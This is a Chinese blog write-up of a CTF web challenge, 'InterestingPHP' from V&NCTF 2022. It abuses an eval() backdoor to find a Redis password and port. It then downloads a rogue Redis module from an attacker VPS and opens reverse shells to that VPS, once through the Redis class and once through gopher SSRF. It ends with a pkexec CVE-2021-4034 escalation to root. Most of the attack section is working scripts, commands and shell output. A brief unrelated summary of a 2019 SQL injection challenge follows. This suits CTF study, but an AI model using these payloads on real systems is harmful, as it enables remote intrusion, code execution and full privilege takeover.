[V&NCTF 2022]InterestingPHP

0x00 前言

比赛时候外出 回来复现了
只有4个人出 看来是挺难
贴一下源码
就知道没那么简单

<?php highlight_file(__FILE__); @eval($_GET['exp']);?>

0x01 brain.md

一开始试了几个发现都被ban了
连phpinfo都用不了…
扩展新函数

ini_get_all
  • (PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

    ini_get_all — 获取所有配置选项

    说明 ¶ ini_get_all(string $extension = ?, bool $details = true): array
    获取所有已注册的配置选项

get_cfg_var
  • (PHP 4, PHP 5, PHP 7, PHP 8)

    get_cfg_var — 获取 PHP 配置选项的值

    说明 get_cfg_var(string $option): mixed 获取 PHP 配置选项 option 的值。

    此函数不会返回 PHP 编译的配置信息,或从 Apache 配置文件读取。

    检查系统是否使用了一个配置文件,并尝试获取 cfg_file_path 的配置设置的值。 如果有效,将会使用一个配置文件。

dump出来 or var_dump(get_cfg_var(xxx))
太长就不贴了 我们需要注意的部分有disable_function、disable_class、open_basedir
在这里插入图片描述
disable_function

[“disable_functions”]=> array(3) { [“global_value”]=> string(816) “include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var” [“local_value”]=> string(816) “include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var” [“access”]=> int(4) }

可以看到大多数都被ban了 好消息是file_put_contents还在
这也解释了为什么蚁剑虽然能连接上写的webshell,但虚拟终端无法执行命令
并且不能直接用蚁剑写文件(判断蚁剑用shell操作的函数都被ban了
但连接后凑巧看到了当前目录(exp和1都是后来自己写的)
在这里插入图片描述
想到rdb应该是突破口了
down下来 redis数据备份文件
猜测ye_w4nt_a_gir1fri3nd其为密码

REDIS0008� redis-ver4.0.9�
redis-bits�@�ctime³��a�used-mem€� � aof-preamble� � � sercetye_w4nt_a_gir1fri3nd��nR�K��S

redis rdb文件格式详解

然后就需要探测redis服务端口了
学习赵总WMCTF的wp
WMCTF2021-Web-Make PHP Great Again And Again WriteUp

探测服务端开放端口
http://270bf8f2-a616-4282-9e0e-f86ec36a110b.node4.buuoj.cn:81/?exp=eval($_POST[a]);
for($i=0;$i<65535;$i++) {
  $t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
  if($ee2 === "Address already in use") {
    var_dump($i);
  }
}

在这里插入图片描述
或者

/?exp=eval(file_put_contents("1.php",base64_decode($_POST['a'])));
POST:
a=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaS
srKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaW
YoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==

注:使用接口调试插件或base64编码进行传输,避免换行符等在参数传输时出错!!

stream_socket_server

(PHP 5, PHP 7, PHP 8)

stream_socket_server — Create an Internet or Unix domain server socket

说明 ¶

stream_socket_server(
    string $address,
    int &$error_code = null,
    string &$error_message = null,
    int $flags = STREAM_SERVER_BIND | STREAM_SERVER_LISTEN,
    ?resource $context = null
): resource|false

Creates a stream or datagram socket on the specified address.

This function only creates a socket, to begin accepting connections use stream_socket_accept().
EG:

<?php
$socket = stream_socket_server("tcp://0.0.0.0:8000", $errno, $errstr);
if (!$socket) {
  echo "$errstr ($errno)<br />\n";
} else {
  while ($conn = stream_socket_accept($socket)) {
    fwrite($conn, 'The local time is ' . date('n/j/Y g:i a') . "\n");
    fclose($conn);
  }
  fclose($socket);
}
?>

从而知晓redis端口8888

get_loaded_extensions()

返回所有编译并加载模块名的 array
var_dump出来看到有redis(redis.so)

redis module load rce

https://xz.aliyun.com/t/5665#toc-16

先用file_put_contents写入恶意so文件

https://github.com/n0b0dyCN/redis-rogue-server

远程down文件尽量使用py

import requests

url = "http://270bf8f2-a616-4282-9e0e-f86ec36a110b.node4.buuoj.cn/?exp=eval($_POST[0]);"
headers = {"content-type": "application/x-www-form-urlencoded"}
pay = "http://xxx(vps)/exp.so"
payload = '''
      function Curl($url) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
            $result = curl_exec($ch);

            curl_close($ch);
            file_put_contents("exp.so",$result);
      }

      Curl("''' + pay + '''");
'''.strip()

data = {
    0: payload
}
r = requests.post(url, data, headers=headers).text
print(r)

CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。

然后两种姿势module load 反弹shell

官方wp直接通过redis类执行命令

Redis类中有 rawCommand() ⽅法可以执⾏redis的命令操作

$redis = new Redis();
$redis->connect('127.0.0.1',8888);
$redis->auth('ye_w4nt_a_gir1fri3nd');
$redis->rawCommand('module','load','/var/www/html/exp.so');
$redis->rawCommand("system.exec","bash -c 'exec bash -i &>/dev/tcp/VPS_IP/PORT <&1'");

在这里插入图片描述

利用gopher ssrf
import requests
from urllib import parse


url = "http://270bf8f2-a616-4282-9e0e-f86ec36a110b.node4.buuoj.cn/?exp=eval($_POST[0]);"
headers = {"content-type":"application/x-www-form-urlencoded"}

pay="""auth ye_w4nt_a_gir1fri3nd
module load ./exp.so
system.exec 'bash -c "bash -i >& /dev/tcp/vps_ip/7777 0>&1"'
quit
""".replace('\n','\r\n')

payload = '''
      function Curl($url) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
            $result = curl_exec($ch);
            curl_close($ch);
            if($result!=''){
            echo $result;
            }
            
        } 
        Curl("gopher://127.0.0.1:8888/_'''+parse.quote(pay)+'''");
        '''

data = {
    0:payload
}

r = requests.post(url,data=data,headers=headers).text
print(r)

拿到shell后发现无权限
在这里插入图片描述
suid提权 --> pkexec提权

https://github.com/arthepsy/CVE-2021-4034.git

www-data@out:~/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
www-data@out:~/html$
www-data@out:~/html$ wget
wget
bash: wget: command not found
www-data@out:~/html$ curl xxx:888/cve-2021-4034-poc -o ./poc
curl xxx:888/cve-2021-4034-poc -o ./poc
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 16296  100 16296    0     0   274k      0 --:--:-- --:--:-- --:--:--  279k
www-data@out:~/html$ ls
ls
exp.so
index.php
poc
secret.rdb
www-data@out:~/html$ ./poc
./poc
bash: ./poc: Permission denied
www-data@out:~/html$ chmod +x ./poc
chmod +x ./poc
www-data@out:~/html$ ./poc
./poc
whoami
root
cat /flag
flag{5c08372f-6b1c-4c31-97ff-2d5721369f49}

参考文章

https://blog.csdn.net/jvkyvly/article/details/122913401

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
\[NCTF2019\]SQLi是一个CTF比赛中的题目,涉及到SQL注入。根据引用\[1\]和引用\[2\]的内容,可以得知在该题目中,通过构造特定的SQL语句,可以绕过过滤,获取到管理员的密码,从而获得flag。具体的解题思路是通过不断尝试不同的字符,构造SQL语句进行盲注,判断是否成功绕过过滤。引用\[3\]提供了一个Python脚本的示例,可以用来自动化进行尝试。该脚本通过构造不同长度的payload,逐位尝试密码的每一位字符,直到获取到完整的密码。 #### 引用[.reference_title] - *1* [[NCTF2019]SQLi --BUUCTF --详解](https://blog.csdn.net/l2872253606/article/details/125265138)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [[NCTF2019]SQLi(Regexp注入)](https://blog.csdn.net/weixin_45669205/article/details/116137824)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [[NCTF2019]SQLi](https://blog.csdn.net/shinygod/article/details/124100832)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值